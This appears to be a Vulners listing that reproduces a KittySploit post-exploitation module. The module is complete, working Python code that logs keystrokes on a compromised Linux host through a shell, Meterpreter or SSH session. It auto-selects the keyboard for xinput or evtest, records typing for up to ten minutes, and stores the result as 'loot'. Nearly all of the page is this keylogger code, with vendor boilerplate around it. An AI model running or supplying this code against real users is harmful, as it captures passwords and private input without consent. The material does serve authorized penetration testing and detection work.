Lucene search
+L

Linux Keyboard Event Capture

🗓️ 16 Apr 2026 14:25:56Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Linux Keyboard Event Capture captures keyboard events via X11 or evtest.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
Post module: capture keyboard events on Linux targets where X11 or evtest is usable.
For authorized security testing only.
"""

import os
import re
import time

from kittysploit import *
from lib.post.linux.system import System
from lib.post.linux.session import LinuxSessionMixin


class Module(Post, System, LinuxSessionMixin):
    __info__ = {
        "name": "Linux Keyboard Event Capture",
        "description": (
            "Captures keyboard events for a short window using X11 (xinput) and/or evtest on "
            "/dev/input. Requires an interactive desktop session for X11 (set DISPLAY, e.g. :0) "
            "or sufficient privileges for evtest on input devices. Wayland sessions are not "
            "supported by the X11 path."
        ),
        "platform": Platform.LINUX,
        "author": "KittySploit Team",
        "session_type": [
            SessionType.SHELL,
            SessionType.METERPRETER,
            SessionType.SSH],
        "references": [],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [],
         'consumes_capabilities': ['shell'],
         'option_bindings': {},
         'suggested_followups': []},
    },
    }

    method = OptChoice(
        "auto",
        "Capture backend: auto (xinput then evtest), x11, or evtest",
        required=False,
        choices=["auto", "x11", "evtest"],
    )
    duration = OptInteger(
        15,
        "Seconds to record (bounded by remote timeout(1) if available)",
        required=False,
    )
    display = OptString(
        ":0",
        "X11 DISPLAY for xinput (e.g. :0, :1)",
        required=False,
    )
    keyboard_id = OptInteger(
        0,
        "xinput device id (0 = auto-select first non-XTEST slave keyboard)",
        required=False,
        advanced=True,
    )
    evtest_device = OptString(
        "",
        "Path to evtest device (empty = auto from /proc/bus/input/devices)",
        required=False,
        advanced=True,
    )

    def check(self):
        sid = self.session_id.value if hasattr(self.session_id, "value") else str(self.session_id)
        if not sid or not str(sid).strip():
            print_error("Session ID not set")
            return False
        if not self.framework or not getattr(self.framework, "session_manager", None):
            print_error("Framework or session manager not available")
            return False
        session = self.framework.session_manager.get_session(str(sid).strip())
        if not session:
            print_error(f"Session {sid} not found")
            return False
        return True

    def run(self):

        if not self.linux_require_linux():
            return False

        dur = int(self.duration) if self.duration else 15
        if dur < 1:
            dur = 1
        if dur > 600:
            print_warning("Duration capped at 600 seconds")
            dur = 600

        method = self.method if self.method in ("auto", "x11", "evtest") else "auto"

        if method == "x11":
            return self._run_x11(dur)
        if method == "evtest":
            return self._run_evtest(dur)

        # auto
        if self.command_exists("xinput"):
            if self._run_x11(dur):
                return True
            print_warning("X11 capture failed or produced no data; trying evtest...")
        elif method == "auto":
            print_status("xinput not found; trying evtest...")

        if self.command_exists("evtest"):
            return self._run_evtest(dur)

        print_error("Neither xinput nor evtest is available on target")
        print_info("Install xorg-xinput (X11) or evtest, or use method x11/evtest explicitly")
        return False

    def _display_val(self) -> str:
        d = self.display if isinstance(self.display, str) else str(self.display or ":0")
        return d.strip() or ":0"

    def _keyboard_id_val(self) -> int:
        try:
            return int(self.keyboard_id)
        except (TypeError, ValueError):
            return 0

    def _evtest_device_val(self) -> str:
        if isinstance(self.evtest_device, str):
            return self.evtest_device.strip()
        return str(self.evtest_device or "").strip()

    def _has_timeout_cmd(self) -> bool:
        return self.command_exists("timeout")

    def _wrap_timeout(self, seconds: int, inner: str) -> str:
        if self._has_timeout_cmd():
            return f"timeout {seconds} {inner}"
        print_warning("timeout(1) not found; running without hard limit (session may hang)")
        return inner

    def _run_x11(self, dur: int) -> bool:
        if not self.command_exists("xinput"):
            print_error("xinput not found on target")
            return False

        disp = self._display_val()
        listing = self.linux_execute(f"DISPLAY={disp} xinput list 2>&1")
        if not listing or "unable to open" in listing.lower() or "cannot open" in listing.lower():
            print_error(f"Cannot use DISPLAY={disp} (no X server or permission)")
            print_info(listing.strip() if listing else "(no output)")
            return False

        kid = self._keyboard_id_val()
        if kid <= 0:
            picked = self._pick_x11_keyboard_id(listing)
            if not picked:
                print_error("Could not auto-detect an xinput keyboard id from xinput list")
                print_debug(listing)
                return False
            kid = int(picked)
            print_status(f"Using xinput keyboard id={kid}")

        inner = f'env DISPLAY={disp} xinput test {kid} 2>&1'
        cmd = self._wrap_timeout(dur, inner)
        print_status(f"Recording X11 key events for ~{dur}s (user must type in that session)...")
        captured = self.linux_execute(cmd)
        if not captured or not captured.strip():
            print_warning("No xinput output (wrong device id, no keypresses, or desktop idle)")
            return False

        return self._save_loot("x11_xinput", captured)

    def _pick_x11_keyboard_id(self, listing: str):
        candidates = []
        for line in listing.splitlines():
            if "XTEST" in line:
                continue
            low = line.lower()
            if "slave" not in low or "keyboard" not in low:
                continue
            m = re.search(r"id=(\d+)", line)
            if m:
                candidates.append((line, m.group(1)))
        for line, iid in candidates:
            if "translated" in line.lower():
                return iid
        if candidates:
            return candidates[-1][1]
        return None

    def _parse_evtest_keyboard_device(self) -> str:
        content = self.read_file("/proc/bus/input/devices")
        if not content:
            return ""
        name_block = ""
        best = ""
        for line in content.splitlines():
            if line.startswith("N: Name="):
                name_block = line
            elif line.startswith("H: Handlers="):
                m = re.search(r"event(\d+)", line)
                if not m:
                    continue
                nl = name_block.lower()
                if any(k in nl for k in ("keyboard", "keypad")):
                    best = f"/dev/input/event{m.group(1)}"
        return best

    def _run_evtest(self, dur: int) -> bool:
        if not self.command_exists("evtest"):
            print_error("evtest not found on target")
            return False

        dev = self._evtest_device_val()
        if not dev:
            dev = self._parse_evtest_keyboard_device()
        if not dev:
            dev = "/dev/input/event0"
            print_warning(f"Could not infer keyboard device; trying {dev}")

        inner = f"evtest {dev} 2>&1"
        cmd = self._wrap_timeout(dur, inner)
        print_status(f"Recording evtest from {dev} for ~{dur}s...")
        captured = self.linux_execute(cmd)
        if not captured:
            print_error("No evtest output (permission denied on /dev/input or device missing)")
            return False
        low = captured.lower()
        if "permission denied" in low or "no such file" in low:
            print_error(captured.strip())
            return False

        return self._save_loot("evtest", captured)

    def _save_loot(self, tag: str, text: str) -> bool:
        ts = int(time.time())
        safe_tag = re.sub(r"[^a-zA-Z0-9_-]+", "_", tag)
        out_rel = os.path.join("loot", f"linux_keylog_{safe_tag}_{ts}.txt")
        header = (
            f"# KittySploit key event capture ({tag})\n"
            f"# X11 key lines are keycodes; map with target keymap if needed.\n\n"
        )
        if self.write_out_dir(out_rel, header + text):
            print_success(f"Saved capture to {out_rel}")
            print_info("--- preview (first 2000 chars) ---")
            preview = text[:2000]
            print_info(preview)
            if len(text) > 2000:
                print_warning(f"... truncated preview; full log in {out_rel}")
            return True
        print_error("write_out_dir failed")
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Aug 2026 20:51Current
5.9Medium risk
Vulners AI Score5.9
1